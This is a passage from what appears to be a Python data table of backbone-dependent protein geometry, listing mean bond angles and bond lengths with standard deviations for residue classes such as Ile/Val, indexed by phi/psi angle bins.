(-110, 170) : ['B', 3, 122.48, 1.13, 112.34, 1.14, 109.29, 1.42, 111.7, 1.36, 121.72, 0.96, 115.54, 1.14, 122.69, 0.93, 1.3289, 0.0107, 1.4542, 0.0128, 1.542, 0.0155, 1.5267, 0.0133, 1.2311, 0.0125],
(-100, -50) : ['B', 8, 122.63, 1.19, 110.68, 1.41, 111.67, 0.95, 111.8, 1.18, 120.69, 1.05, 117.27, 1.25, 121.99, 1.39, 1.3282, 0.0104, 1.4597, 0.0164, 1.5453, 0.0105, 1.5228, 0.0137, 1.2309, 0.0107],
(-100, -40) : ['B', 6, 122.35, 1.18, 110.86, 1.75, 111.81, 0.86, 111.55, 1.15, 120.32, 1.1, 117.47, 1.42, 122.16, 1.58, 1.3293, 0.0094, 1.4564, 0.013, 1.544, 0.0117, 1.5235, 0.0107, 1.2313, 0.0102],
(-100, -20) : ['B', 6, 121.55, 1.42, 111.98, 1.73, 113.39, 1.47, 110.95, 1.48, 119.2, 0.96, 118.55, 0.86, 122.23, 0.98, 1.3326, 0.0128, 1.4582, 0.0122, 1.5431, 0.0127, 1.526, 0.0132, 1.2407, 0.0103],
(-100, -10) : ['B', 10, 121.77, 1.44, 112.07, 1.52, 113.22, 1.23, 110.94, 1.81, 119.2, 1.06, 118.56, 0.99, 122.2, 1.0, 1.3352, 0.0122, 1.4603, 0.013, 1.5441, 0.0126, 1.5224, 0.0147, 1.242, 0.0113],
(-100, 0) : ['B', 6, 122.09, 1.49, 112.08, 1.68, 112.83, 0.99, 111.37, 1.68, 119.54, 1.2, 118.27, 1.13, 122.14, 0.97, 1.3354, 0.0106, 1.458, 0.0137, 1.542, 0.0133, 1.5205, 0.0154, 1.2386, 0.0139],
(-100, 10) : ['B', 10, 122.28, 1.42, 112.15, 1.47, 112.29, 0.94, 111.88, 1.37, 119.89, 1.09, 117.95, 1.07, 122.09, 0.9, 1.3332, 0.0107, 1.4578, 0.0135, 1.5369, 0.0138, 1.5251, 0.0129, 1.2347, 0.0145],
(-100, 20) : ['B', 5, 122.26, 1.24, 112.39, 1.17, 111.91, 0.89, 112.19, 1.15, 120.14, 1.0, 117.72, 1.08, 122.05, 1.02, 1.3294, 0.0124, 1.4558, 0.0159, 1.536, 0.0124, 1.5302, 0.0112, 1.2302, 0.0157],
(-100, 90) : ['B', 5, 122.59, 1.1, 111.89, 1.04, 106.32, 1.61, 112.45, 1.24, 121.64, 1.21, 115.9, 1.33, 122.32, 1.26, 1.3284, 0.0119, 1.4622, 0.0132, 1.5279, 0.0134, 1.5255, 0.01, 1.2323, 0.0152],
(-100, 100) : ['B', 9, 122.95, 1.24, 111.6, 1.2, 106.88, 1.52, 111.81, 1.37, 120.97, 1.19, 116.35, 1.45, 122.59, 1.39, 1.329, 0.0129, 1.4588, 0.0122, 1.5312, 0.0116, 1.5249, 0.011, 1.2342, 0.0134],
(-100, 110) : ['B', 30, 122.93, 1.31, 111.41, 1.25, 107.51, 1.49, 111.31, 1.4, 120.74, 1.16, 116.46, 1.51, 122.76, 1.47, 1.3286, 0.0131, 1.4586, 0.0119, 1.5347, 0.0118, 1.5236, 0.0126, 1.2358, 0.0112],
(-100, 120) : ['B', 67, 122.9, 1.28, 111.21, 1.17, 107.99, 1.46, 110.98, 1.37, 120.59, 1.09, 116.4, 1.36, 122.97, 1.32, 1.3294, 0.0132, 1.4588, 0.0124, 1.5371, 0.0117, 1.5228, 0.0126, 1.2371, 0.011],
(-100, 130) : ['B', 74, 122.93, 1.26, 110.99, 1.2, 108.36, 1.43, 110.84, 1.36, 120.57, 1.07, 116.37, 1.22, 123.03, 1.11, 1.3303, 0.0148, 1.4589, 0.0127, 1.5387, 0.0119, 1.522, 0.0121, 1.2377, 0.0117],
(-100, 140) : ['B', 29, 122.91, 1.43, 110.86, 1.6, 108.71, 1.49, 110.98, 1.41, 120.84, 1.16, 116.19, 1.32, 122.93, 1.06, 1.3301, 0.0197, 1.4591, 0.0126, 1.5412, 0.0127, 1.5213, 0.0122, 1.2379, 0.0128],
(-100, 150) : ['B', 10, 122.64, 1.61, 111.37, 2.12, 108.97, 1.55, 111.31, 1.51, 121.48, 1.27, 115.78, 1.45, 122.69, 1.14, 1.3295, 0.0231, 1.4578, 0.0124, 1.544, 0.0135, 1.5213, 0.0127, 1.2368, 0.0138],
(-100, 160) : ['B', 5, 122.34, 1.39, 112.24, 1.94, 109.17, 1.54, 111.38, 1.4, 121.93, 1.12, 115.67, 1.26, 122.36, 1.2, 1.3288, 0.0163, 1.4527, 0.0163, 1.5467, 0.0168, 1.5229, 0.0116, 1.2342, 0.013],
(-100, 170) : ['B', 3, 122.27, 1.07, 112.07, 1.14, 109.46, 1.38, 112.03, 1.55, 121.68, 0.79, 116.16, 1.01, 122.12, 0.93, 1.3269, 0.0095, 1.4487, 0.018, 1.5486, 0.0188, 1.5244, 0.0086, 1.2286, 0.0103],
(-90, -50) : ['B', 7, 121.65, 1.48, 110.31, 1.6, 111.45, 0.93, 111.92, 1.31, 120.83, 1.22, 117.27, 1.51, 121.84, 1.83, 1.3295, 0.0118, 1.4606, 0.0142, 1.544, 0.0138, 1.5226, 0.0135, 1.2338, 0.0109],
(-90, -40) : ['B', 6, 121.34, 1.62, 110.4, 1.85, 111.58, 1.06, 111.94, 1.26, 120.46, 1.11, 117.57, 1.57, 121.91, 1.9, 1.3301, 0.0125, 1.46, 0.0132, 1.5419, 0.0146, 1.5236, 0.0133, 1.2333, 0.0122],
(-90, -30) : ['B', 3, 120.82, 1.55, 111.24, 2.04, 112.35, 1.41, 111.65, 1.41, 119.92, 1.05, 117.99, 1.22, 122.04, 1.5, 1.3309, 0.0126, 1.4581, 0.0132, 1.5381, 0.0142, 1.527, 0.0137, 1.2353, 0.0119],
(-90, -20) : ['B', 8, 121.02, 1.51, 111.76, 2.12, 113.16, 1.49, 111.02, 2.36, 119.42, 1.12, 118.36, 0.97, 122.18, 1.18, 1.3336, 0.0128, 1.4587, 0.0128, 1.5393, 0.0127, 1.5248, 0.0127, 1.2395, 0.0118],
(-90, -10) : ['B', 8, 121.35, 1.58, 111.87, 2.32, 113.07, 1.37, 110.97, 3.18, 119.36, 1.18, 118.48, 1.01, 122.12, 1.16, 1.3368, 0.013, 1.4611, 0.0131, 1.542, 0.0124, 1.5215, 0.0132, 1.241, 0.0119],
(-90, 0) : ['B', 8, 121.52, 1.44, 111.81, 2.24, 112.8, 1.15, 111.42, 2.87, 119.48, 1.26, 118.39, 1.04, 122.07, 1.1, 1.3379, 0.0105, 1.4594, 0.0129, 1.5431, 0.0136, 1.5217, 0.0144, 1.2388, 0.0113],
(-90, 80) : ['B', 4, 121.65, 0.94, 112.28, 1.0, 106.21, 1.07, 113.22, 1.12, 122.63, 0.87, 115.25, 0.95, 121.96, 0.84, 1.3295, 0.0088, 1.4744, 0.0157, 1.5322, 0.0142, 1.5242, 0.0086, 1.2334, 0.0122],
(-90, 90) : ['B', 6, 122.22, 1.15, 112.06, 0.97, 106.55, 1.45, 112.68, 1.14, 121.7, 1.06, 115.81, 1.29, 122.36, 1.11, 1.3316, 0.0096, 1.465, 0.0138, 1.5268, 0.0131, 1.5262, 0.009, 1.2315, 0.0162],
(-90, 100) : ['B', 9, 122.48, 1.25, 111.66, 1.14, 107.15, 1.53, 111.88, 1.29, 121.04, 1.17, 116.27, 1.27, 122.62, 1.17, 1.331, 0.0105, 1.4597, 0.0123, 1.5297, 0.0111, 1.5259, 0.0101, 1.232, 0.0145],
(-90, 110) : ['B', 30, 122.43, 1.26, 111.31, 1.23, 107.73, 1.56, 111.25, 1.27, 120.75, 1.22, 116.43, 1.24, 122.77, 1.24, 1.3293, 0.0115, 1.4591, 0.0115, 1.5334, 0.0113, 1.525, 0.0117, 1.2337, 0.0117],
(-90, 120) : ['B', 50, 122.37, 1.25, 111.0, 1.14, 108.23, 1.53, 110.96, 1.21, 120.65, 1.17, 116.39, 1.17, 122.94, 1.22, 1.3288, 0.0132, 1.459, 0.0119, 1.5363, 0.0117, 1.5237, 0.0123, 1.2359, 0.0109],
(-90, 130) : ['B', 54, 122.37, 1.29, 110.72, 1.09, 108.58, 1.44, 110.91, 1.24, 120.71, 1.13, 116.31, 1.2, 122.95, 1.14, 1.3288, 0.0169, 1.4586, 0.0124, 1.5381, 0.0124, 1.5227, 0.0123, 1.237, 0.012],
(-90, 140) : ['B', 27, 122.5, 1.6, 110.56, 1.38, 108.87, 1.52, 111.21, 1.37, 121.02, 1.27, 116.11, 1.51, 122.83, 1.16, 1.3277, 0.0253, 1.4585, 0.0121, 1.5407, 0.013, 1.5216, 0.0127, 1.2369, 0.0135],
(-90, 150) : ['B', 14, 122.43, 1.81, 110.95, 1.86, 109.12, 1.58, 111.68, 1.49, 121.51, 1.39, 115.83, 1.67, 122.61, 1.25, 1.3273, 0.0297, 1.4581, 0.0112, 1.5435, 0.0131, 1.5218, 0.0128, 1.2356, 0.0135],
(-90, 160) : ['B', 3, 121.85, 1.49, 111.91, 1.92, 109.45, 1.39, 111.49, 1.38, 121.8, 1.23, 115.69, 1.32, 122.47, 1.31, 1.329, 0.0208, 1.4552, 0.0138, 1.5427, 0.0162, 1.5239, 0.0111, 1.2336, 0.0131],
(-80, -60) : ['B', 5, 120.88, 1.22, 110.64, 1.2, 110.74, 0.91, 111.94, 1.32, 121.15, 1.32, 116.86, 1.14, 121.94, 1.22, 1.3319, 0.0122, 1.4607, 0.0122, 1.5399, 0.012, 1.5238, 0.0121, 1.2365, 0.0097],
(-80, -50) : ['B', 12, 120.74, 1.43, 110.52, 1.44, 110.82, 0.97, 112.04, 1.31, 120.96, 1.19, 117.1, 1.24, 121.9, 1.3, 1.3327, 0.0129, 1.4594, 0.0121, 1.5402, 0.013, 1.5234, 0.0127, 1.2363, 0.011],
(-80, -40) : ['B', 20, 120.55, 1.6, 110.56, 1.67, 111.0, 1.09, 112.24, 1.34, 120.71, 1.07, 117.42, 1.29, 121.84, 1.32, 1.3333, 0.0131, 1.4592, 0.0123, 1.5395, 0.0137, 1.5236, 0.0139, 1.236, 0.0123],
(-80, -30) : ['B', 12, 120.29, 1.72, 110.95, 1.89, 111.44, 1.34, 112.16, 1.63, 120.25, 1.08, 117.89, 1.34, 121.82, 1.37, 1.3335, 0.0124, 1.4589, 0.0134, 1.5381, 0.0137, 1.5246, 0.0159, 1.2365, 0.0135],
(-80, -20) : ['B', 12, 120.64, 1.64, 111.5, 2.22, 112.5, 1.39, 111.34, 2.68, 119.58, 1.21, 118.25, 1.33, 122.12, 1.38, 1.3345, 0.0115, 1.4591, 0.0133, 1.5378, 0.0128, 1.523, 0.0142, 1.2374, 0.0132],
(-80, -10) : ['B', 14, 121.09, 1.65, 111.75, 2.73, 113.07, 1.36, 110.73, 3.69, 119.43, 1.24, 118.28, 1.25, 122.26, 1.33, 1.3364, 0.0117, 1.462, 0.0117, 1.5403, 0.0115, 1.519, 0.0114, 1.2375, 0.0132],
(-80, 0) : ['B', 4, 121.34, 1.57, 111.82, 2.75, 112.98, 1.25, 110.83, 3.71, 119.39, 1.27, 118.4, 1.15, 122.17, 1.23, 1.3377, 0.0101, 1.4623, 0.0106, 1.5422, 0.0113, 1.5184, 0.0113, 1.2381, 0.0118],
(-80, 100) : ['B', 6, 122.33, 1.61, 111.9, 1.08, 107.37, 1.42, 111.8, 1.06, 120.89, 1.35, 116.59, 1.44, 122.45, 1.07, 1.3318, 0.0092, 1.4624, 0.0125, 1.5304, 0.0105, 1.5267, 0.0097, 1.232, 0.0133],
(-80, 110) : ['B', 14, 122.01, 1.42, 111.39, 1.16, 107.98, 1.51, 111.23, 1.08, 120.76, 1.23, 116.52, 1.13, 122.68, 1.09, 1.3301, 0.01, 1.4601, 0.011, 1.5329, 0.0114, 1.5259, 0.0113, 1.2331, 0.0109],
(-80, 120) : ['B', 24, 121.8, 1.4, 110.95, 1.12, 108.54, 1.48, 111.08, 1.17, 120.74, 1.18, 116.4, 1.01, 122.83, 1.12, 1.3293, 0.0117, 1.4596, 0.011, 1.5355, 0.0119, 1.524, 0.0116, 1.2355, 0.0103],
(-80, 130) : ['B', 33, 121.66, 1.38, 110.53, 1.09, 108.89, 1.32, 111.15, 1.3, 120.85, 1.14, 116.3, 1.13, 122.81, 1.11, 1.329, 0.0146, 1.459, 0.0119, 1.5372, 0.0125, 1.5228, 0.0114, 1.2369, 0.0115],
(-80, 140) : ['B', 18, 121.71, 1.5, 110.26, 1.37, 109.21, 1.36, 111.34, 1.42, 121.11, 1.19, 116.13, 1.42, 122.72, 1.18, 1.3289, 0.0196, 1.4584, 0.012, 1.5394, 0.0127, 1.5221, 0.0116, 1.2372, 0.0129],
(-80, 150) : ['B', 8, 121.62, 1.6, 110.49, 1.75, 109.55, 1.38, 111.63, 1.38, 121.54, 1.22, 115.82, 1.52, 122.59, 1.23, 1.3293, 0.0219, 1.4581, 0.0117, 1.542, 0.0126, 1.5229, 0.0116, 1.2364, 0.0133],
(-80, 160) : ['B', 5, 120.95, 1.43, 111.38, 1.66, 110.05, 1.09, 111.59, 1.1, 121.98, 1.21, 115.45, 1.18, 122.52, 1.25, 1.332, 0.0173, 1.4571, 0.0135, 1.5394, 0.0138, 1.5259, 0.0104, 1.2339, 0.0143],
(-70, -60) : ['B', 5, 120.72, 1.22, 110.65, 1.13, 110.42, 0.94, 111.87, 1.29, 121.18, 1.16, 116.84, 1.09, 121.94, 1.07, 1.3333, 0.0122, 1.461, 0.012, 1.5389, 0.0113, 1.5244, 0.0118, 1.2364, 0.0109],
(-70, -50) : ['B', 96, 120.56, 1.28, 110.57, 1.28, 110.53, 0.94, 112.02, 1.31, 121.05, 1.11, 117.02, 1.11, 121.9, 1.04, 1.3338, 0.0126, 1.4601, 0.0119, 1.5394, 0.012, 1.5241, 0.0123, 1.2366, 0.0112],
(-70, -40) : ['B', 158, 120.42, 1.42, 110.58, 1.5, 110.72, 1.01, 112.22, 1.38, 120.85, 1.06, 117.28, 1.16, 121.83, 1.03, 1.3343, 0.0126, 1.4596, 0.0121, 1.5396, 0.0129, 1.5237, 0.013, 1.2369, 0.0119],
(-70, -30) : ['B', 36, 120.3, 1.64, 110.77, 1.81, 111.09, 1.25, 112.26, 1.62, 120.47, 1.08, 117.69, 1.27, 121.8, 1.13, 1.3349, 0.012, 1.4593, 0.013, 1.5399, 0.0139, 1.523, 0.0146, 1.2372, 0.0129],
(-70, -20) : ['B', 22, 120.64, 1.66, 111.05, 2.1, 112.04, 1.4, 111.77, 2.27, 119.85, 1.24, 118.05, 1.4, 122.05, 1.31, 1.3355, 0.0109, 1.4576, 0.0141, 1.5402, 0.0145, 1.5223, 0.015, 1.2365, 0.0135],
(-70, -10) : ['B', 14, 121.19, 1.59, 111.23, 2.36, 113.0, 1.3, 111.05, 2.91, 119.53, 1.31, 118.13, 1.37, 122.31, 1.36, 1.3355, 0.0105, 1.4586, 0.0125, 1.5424, 0.0128, 1.5197, 0.0126, 1.2362, 0.0144],
(-70, 110) : ['B', 6, 121.63, 1.69, 111.46, 1.07, 108.12, 1.34, 111.35, 1.09, 120.69, 1.26, 116.61, 1.33, 122.64, 1.12, 1.3309, 0.0098, 1.4606, 0.0108, 1.5328, 0.012, 1.5265, 0.0114, 1.234, 0.0095],
(-70, 120) : ['B', 10, 121.18, 1.5, 110.82, 1.11, 108.84, 1.32, 111.33, 1.34, 120.95, 1.21, 116.36, 0.97, 122.66, 1.15, 1.3315, 0.0111, 1.4591, 0.0117, 1.5342, 0.0122, 1.5235, 0.011, 1.2366, 0.0099],
(-70, 130) : ['B', 29, 120.98, 1.36, 110.31, 1.23, 109.3, 1.25, 111.33, 1.49, 121.04, 1.14, 116.26, 1.05, 122.67, 1.09, 1.3328, 0.012, 1.4579, 0.0124, 1.536, 0.0116, 1.5224, 0.0108, 1.2381, 0.011],
(-70, 140) : ['B', 32, 120.91, 1.39, 110.13, 1.56, 109.58, 1.29, 111.26, 1.52, 121.23, 1.07, 116.1, 1.2, 122.61, 1.09, 1.3336, 0.0124, 1.4572, 0.0122, 1.5384, 0.0113, 1.5226, 0.0114, 1.2389, 0.0122],
(-70, 150) : ['B', 16, 120.75, 1.46, 110.45, 1.95, 109.8, 1.33, 111.28, 1.38, 121.59, 1.03, 115.77, 1.25, 122.57, 1.07, 1.3339, 0.0129, 1.457, 0.0132, 1.5399, 0.011, 1.5247, 0.0122, 1.2387, 0.0134],
(-70, 160) : ['B', 5, 120.34, 1.58, 111.15, 1.92, 110.21, 1.13, 111.45, 1.12, 122.13, 1.11, 115.26, 1.11, 122.54, 1.03, 1.3349, 0.0141, 1.4584, 0.0176, 1.5375, 0.011, 1.5262, 0.0119, 1.237, 0.0136],
(-60, -60) : ['B', 11, 120.7, 1.25, 110.62, 1.09, 110.3, 0.97, 111.81, 1.25, 121.29, 1.07, 116.72, 1.1, 121.94, 1.03, 1.3341, 0.0122, 1.462, 0.0118, 1.5389, 0.0111, 1.5243, 0.0118, 1.2365, 0.0111],
(-60, -50) : ['B', 273, 120.56, 1.26, 110.55, 1.17, 110.42, 0.96, 111.97, 1.28, 121.17, 1.06, 116.89, 1.11, 121.91, 0.98, 1.3343, 0.0125, 1.4612, 0.0117, 1.5395, 0.0117, 1.5239, 0.0122, 1.2368, 0.0113],
(-60, -40) : ['B', 289, 120.46, 1.37, 110.54, 1.36, 110.62, 1.02, 112.14, 1.35, 120.95, 1.04, 117.15, 1.14, 121.87, 0.97, 1.3346, 0.0126, 1.4606, 0.0119, 1.5402, 0.0125, 1.5233, 0.0127, 1.2372, 0.0117],
(-60, -30) : ['B', 59, 120.47, 1.58, 110.65, 1.71, 111.05, 1.25, 112.16, 1.55, 120.57, 1.07, 117.53, 1.19, 121.87, 1.01, 1.3352, 0.0121, 1.4601, 0.0126, 1.5416, 0.0145, 1.5219, 0.0138, 1.2373, 0.0123],
(-60, -20) : ['B', 18, 120.86, 1.67, 110.78, 1.98, 111.89, 1.44, 111.79, 1.91, 120.03, 1.21, 117.87, 1.25, 122.06, 1.14, 1.3354, 0.011, 1.4577, 0.0141, 1.5431, 0.0166, 1.5212, 0.015, 1.2357, 0.0133],
(-60, -10) : ['B', 4, 121.54, 1.64, 110.82, 1.97, 112.76, 1.27, 111.32, 2.1, 119.7, 1.29, 118.04, 1.23, 122.22, 1.24, 1.3343, 0.0109, 1.455, 0.0138, 1.5446, 0.0145, 1.521, 0.0145, 1.2345, 0.0154],
(-60, 120) : ['B', 3, 120.77, 1.46, 110.49, 1.15, 108.93, 1.35, 111.69, 1.56, 120.98, 1.23, 116.33, 1.03, 122.66, 1.07, 1.3331, 0.0123, 1.4589, 0.0129, 1.5322, 0.0147, 1.5217, 0.0116, 1.2373, 0.0098],
(-60, 130) : ['B', 25, 120.63, 1.33, 110.13, 1.34, 109.37, 1.35, 111.59, 1.63, 121.13, 1.16, 116.15, 1.13, 122.67, 1.02, 1.3346, 0.0122, 1.4576, 0.0127, 1.536, 0.0118, 1.521, 0.0121, 1.2376, 0.0106],
(-60, 140) : ['B', 25, 120.5, 1.34, 110.13, 1.68, 109.63, 1.44, 111.32, 1.63, 121.36, 1.1, 115.95, 1.24, 122.63, 1.06, 1.3349, 0.0116, 1.4569, 0.0119, 1.5379, 0.0103, 1.5222, 0.0135, 1.2381, 0.0113],
(-60, 150) : ['B', 13, 120.35, 1.39, 110.64, 2.11, 109.78, 1.58, 111.08, 1.47, 121.58, 1.0, 115.7, 1.26, 122.62, 1.03, 1.3349, 0.0114, 1.4556, 0.013, 1.5384, 0.0098, 1.5266, 0.0152, 1.2378, 0.0123],
(-60, 160) : ['B', 3, 120.13, 1.58, 111.3, 2.32, 110.09, 1.5, 111.13, 1.27, 121.97, 0.98, 115.28, 1.14, 122.65, 0.88, 1.3354, 0.0127, 1.4565, 0.0182, 1.5369, 0.0099, 1.5286, 0.015, 1.2374, 0.0124],
(-50, -60) : ['B', 4, 120.77, 1.31, 110.62, 1.05, 110.23, 1.04, 111.7, 1.28, 121.41, 1.04, 116.58, 1.15, 121.96, 1.08, 1.335, 0.0119, 1.463, 0.0114, 1.5385, 0.0106, 1.5241, 0.0116, 1.2366, 0.0112],
(-50, -50) : ['B', 50, 120.6, 1.29, 110.51, 1.11, 110.36, 1.05, 111.88, 1.28, 121.27, 1.04, 116.75, 1.14, 121.94, 1.0, 1.3349, 0.0123, 1.4621, 0.0114, 1.5395, 0.0111, 1.5236, 0.0122, 1.2368, 0.0114],
(-50, -40) : ['B', 21, 120.53, 1.41, 110.47, 1.25, 110.62, 1.14, 112.04, 1.31, 121.05, 1.04, 117.03, 1.16, 121.89, 0.98, 1.3351, 0.0126, 1.4614, 0.0117, 1.5407, 0.0121, 1.5227, 0.0128, 1.2373, 0.0118],
(-50, -30) : ['B', 10, 120.62, 1.64, 110.54, 1.57, 111.17, 1.38, 112.05, 1.46, 120.64, 1.09, 117.43, 1.16, 121.9, 1.01, 1.3352, 0.0123, 1.4609, 0.0124, 1.5432, 0.0152, 1.5207, 0.0138, 1.2373, 0.0122],
(-50, 130) : ['B', 12, 120.69, 1.46, 110.05, 1.32, 109.3, 1.31, 111.71, 1.58, 120.99, 1.26, 116.17, 1.27, 122.79, 0.97, 1.3343, 0.0126, 1.4574, 0.0125, 1.5394, 0.012, 1.5199, 0.0138, 1.2356, 0.0098],
(-50, 140) : ['B', 6, 120.49, 1.38, 110.14, 1.61, 109.51, 1.43, 111.51, 1.65, 121.28, 1.17, 115.9, 1.3, 122.75, 1.07, 1.3349, 0.0118, 1.4565, 0.0119, 1.5396, 0.0101, 1.5218, 0.0152, 1.2359, 0.01],
},
"IleVal_xpro" : {
(-180, -180) : ['I', 81, 122.13, 1.85, 111.21, 1.4, 108.88, 2.16, 111.36, 1.82, 119.95, 1.34, 118.88, 1.54, 121.1, 1.14, 1.3292, 0.0113, 1.4612, 0.0123, 1.5372, 0.0129, 1.5245, 0.0105, 1.2397, 0.0126],
(-140, 150) : ['B', 3, 121.68, 1.41, 111.64, 1.07, 109.19, 0.82, 109.33, 0.98, 121.59, 1.16, 116.57, 0.98, 121.69, 0.63, 1.3311, 0.0086, 1.4646, 0.0115, 1.5435, 0.0166, 1.5158, 0.0111, 1.2385, 0.0071],
(-140, 160) : ['B', 4, 122.17, 1.55, 111.87, 1.1, 109.01, 1.13, 109.89, 1.08, 121.13, 1.23, 117.0, 0.95, 121.72, 0.7, 1.3292, 0.0086, 1.4624, 0.0091, 1.5418, 0.0144, 1.52, 0.0104, 1.2385, 0.0079],
(-130, 120) : ['B', 4, 122.85, 0.87, 112.27, 1.36, 107.92, 2.12, 110.16, 1.01, 119.94, 0.52, 119.42, 0.93, 120.59, 0.98, 1.3338, 0.0106, 1.4545, 0.0077, 1.5391, 0.0075, 1.5238, 0.0083, 1.2345, 0.0103],
(-130, 160) : ['B', 6, 121.88, 1.63, 111.67, 0.85, 108.45, 1.2, 110.97, 1.42, 120.95, 1.36, 117.33, 1.01, 121.57, 0.89, 1.329, 0.01, 1.4617, 0.0087, 1.547, 0.011, 1.5222, 0.0083, 1.2414, 0.0105],
(-120, 100) : ['B', 3, 123.25, 1.1, 111.36, 1.03, 108.15, 0.99, 111.08, 0.95, 120.88, 0.68, 118.12, 0.81, 120.96, 0.96, 1.3259, 0.0092, 1.4559, 0.0086, 1.5397, 0.009, 1.5239, 0.0109, 1.2315, 0.0101],
(-120, 120) : ['B', 4, 123.28, 1.41, 111.86, 1.42, 107.71, 1.58, 110.52, 1.11, 119.98, 0.86, 119.3, 1.14, 120.66, 1.21, 1.328, 0.0106, 1.4564, 0.0087, 1.5382, 0.0088, 1.5247, 0.0091, 1.2344, 0.0111],
(-120, 130) : ['B', 3, 123.33, 0.87, 112.37, 1.06, 107.61, 1.19, 110.13, 0.97, 119.51, 0.62, 119.33, 1.1, 121.11, 1.01, 1.3288, 0.0073, 1.4572, 0.009, 1.5398, 0.0077, 1.5222, 0.0071, 1.2323, 0.0089],
(-120, 160) : ['B', 4, 122.24, 1.47, 111.83, 0.69, 107.84, 1.11, 111.89, 1.61, 120.9, 1.27, 117.57, 1.01, 121.4, 0.83, 1.3256, 0.0101, 1.4607, 0.0087, 1.5462, 0.0088, 1.5212, 0.0083, 1.2433, 0.0108],
(-110, 110) : ['B', 3, 123.34, 1.85, 111.4, 1.33, 107.6, 1.07, 111.18, 1.15, 119.89, 1.09, 119.15, 1.11, 120.92, 0.92, 1.3284, 0.0098, 1.4578, 0.0077, 1.5347, 0.0102, 1.5279, 0.0085, 1.2402, 0.0114],
(-110, 120) : ['B', 5, 123.46, 1.6, 111.39, 1.26, 107.73, 1.14, 110.85, 1.15, 119.62, 0.96, 119.23, 1.04, 121.12, 0.93, 1.3257, 0.0095, 1.4599, 0.0093, 1.5376, 0.0121, 1.5252, 0.0088, 1.2382, 0.0113],
(-110, 130) : ['B', 3, 123.43, 1.1, 111.61, 1.07, 107.89, 1.09, 110.37, 1.07, 119.38, 0.68, 119.18, 0.97, 121.41, 0.9, 1.324, 0.0086, 1.4617, 0.0101, 1.5413, 0.0124, 1.523, 0.0088, 1.2363, 0.0105],
(-100, 110) : ['B', 5, 122.85, 1.14, 111.31, 1.18, 107.55, 0.99, 111.04, 1.18, 119.25, 0.76, 119.33, 0.8, 121.37, 0.63, 1.3299, 0.0084, 1.4601, 0.0076, 1.5342, 0.0106, 1.5275, 0.0081, 1.2423, 0.012],
(-100, 120) : ['B', 10, 123.02, 1.04, 111.23, 1.23, 107.77, 1.12, 110.78, 1.15, 119.2, 0.73, 119.3, 0.81, 121.46, 0.78, 1.3267, 0.0091, 1.4606, 0.0091, 1.5363, 0.0119, 1.5252, 0.0081, 1.2406, 0.0122],
(-100, 130) : ['B', 6, 123.04, 0.92, 111.21, 1.27, 108.05, 1.18, 110.53, 1.06, 119.19, 0.65, 119.17, 0.83, 121.61, 0.91, 1.3244, 0.0093, 1.4617, 0.0104, 1.5401, 0.0123, 1.5248, 0.0084, 1.239, 0.0119],
(-90, 110) : ['B', 9, 122.6, 0.68, 111.2, 1.11, 107.56, 0.91, 110.95, 1.16, 119.12, 0.56, 119.27, 0.76, 121.55, 0.71, 1.3301, 0.0085, 1.4603, 0.0073, 1.534, 0.01, 1.5277, 0.0077, 1.2428, 0.013],
(-90, 120) : ['B', 7, 122.59, 0.72, 111.08, 1.26, 107.76, 1.01, 110.71, 1.07, 119.15, 0.59, 119.22, 0.78, 121.57, 0.87, 1.3281, 0.0097, 1.4595, 0.0075, 1.5334, 0.0105, 1.5265, 0.0079, 1.2412, 0.0136],
(-80, 130) : ['B', 3, 121.23, 1.38, 110.23, 1.07, 108.63, 0.86, 110.94, 0.93, 119.47, 0.82, 118.89, 1.14, 121.57, 1.15, 1.3256, 0.0119, 1.4647, 0.0102, 1.5259, 0.0155, 1.5266, 0.008, 1.2412, 0.0139],
(-70, 130) : ['B', 10, 120.7, 1.74, 110.08, 0.93, 108.95, 0.98, 110.89, 1.08, 119.71, 0.93, 119.15, 1.2, 121.07, 1.1, 1.3261, 0.0123, 1.468, 0.0122, 1.5305, 0.0172, 1.5255, 0.0099, 1.2441, 0.0135],
(-70, 140) : ['B', 6, 120.59, 1.77, 109.99, 1.03, 109.02, 0.93, 111.0, 0.98, 119.62, 0.9, 119.16, 1.27, 121.14, 1.08, 1.3267, 0.0127, 1.4683, 0.0105, 1.5307, 0.0148, 1.5237, 0.0093, 1.2446, 0.0134],
(-60, -50) : ['B', 6, 120.33, 0.8, 110.45, 0.78, 112.35, 1.2, 114.0, 1.31, 118.69, 0.67, 120.83, 0.61, 120.42, 0.64, 1.3344, 0.0147, 1.463, 0.012, 1.539, 0.0054, 1.5231, 0.0092, 1.242, 0.0086],
(-60, -40) : ['B', 5, 120.24, 0.63, 110.5, 0.63, 112.61, 1.45, 114.35, 1.06, 118.85, 0.85, 121.0, 0.83, 120.07, 0.71, 1.3359, 0.0133, 1.4642, 0.0123, 1.5345, 0.0068, 1.5197, 0.0088, 1.2402, 0.0122],
(-60, 130) : ['B', 5, 120.11, 1.94, 110.17, 1.11, 108.96, 1.09, 110.68, 1.15, 119.82, 0.96, 119.37, 1.13, 120.75, 1.25, 1.3291, 0.0106, 1.4677, 0.0129, 1.5391, 0.0158, 1.5245, 0.012, 1.2471, 0.0123],
(-60, 140) : ['B', 3, 119.72, 2.01, 110.33, 1.23, 108.96, 1.1, 110.88, 0.98, 119.76, 0.88, 119.51, 1.2, 120.69, 1.11, 1.3301, 0.0112, 1.4671, 0.0109, 1.5381, 0.0132, 1.5227, 0.0115, 1.2483, 0.0127],
(-50, -50) : ['B', 3, 120.43, 0.96, 110.52, 0.67, 112.67, 1.25, 113.7, 0.95, 118.71, 0.76, 120.83, 0.59, 120.42, 0.64, 1.3335, 0.0165, 1.4626, 0.0118, 1.5368, 0.005, 1.5244, 0.0111, 1.2385, 0.0085],
},
"NonPGIV_nonxpro" : {
(-180, -180) : ['I', 10921, 121.54, 1.91, 110.49, 1.69, 110.8, 2.13, 110.42, 1.99, 120.51, 1.43, 116.84, 1.71, 122.59, 1.33, 1.3324, 0.014, 1.4574, 0.0129, 1.5302, 0.0169, 1.5232, 0.0134, 1.2353, 0.0126],
(-180, 160) : ['B', 3, 122.19, 2.3, 111.69, 1.69, 108.07, 1.59, 110.03, 1.72, 121.06, 1.11, 115.47, 1.42, 123.41, 0.9, 1.3304, 0.0119, 1.457, 0.0141, 1.5324, 0.0201, 1.5217, 0.012, 1.2345, 0.0117],
(-180, 170) : ['B', 4, 122.41, 2.09, 111.87, 2.13, 107.73, 1.61, 110.56, 1.88, 121.26, 1.12, 115.43, 1.37, 123.26, 0.94, 1.3299, 0.0124, 1.458, 0.0127, 1.5299, 0.0193, 1.5239, 0.0121, 1.2347, 0.01],
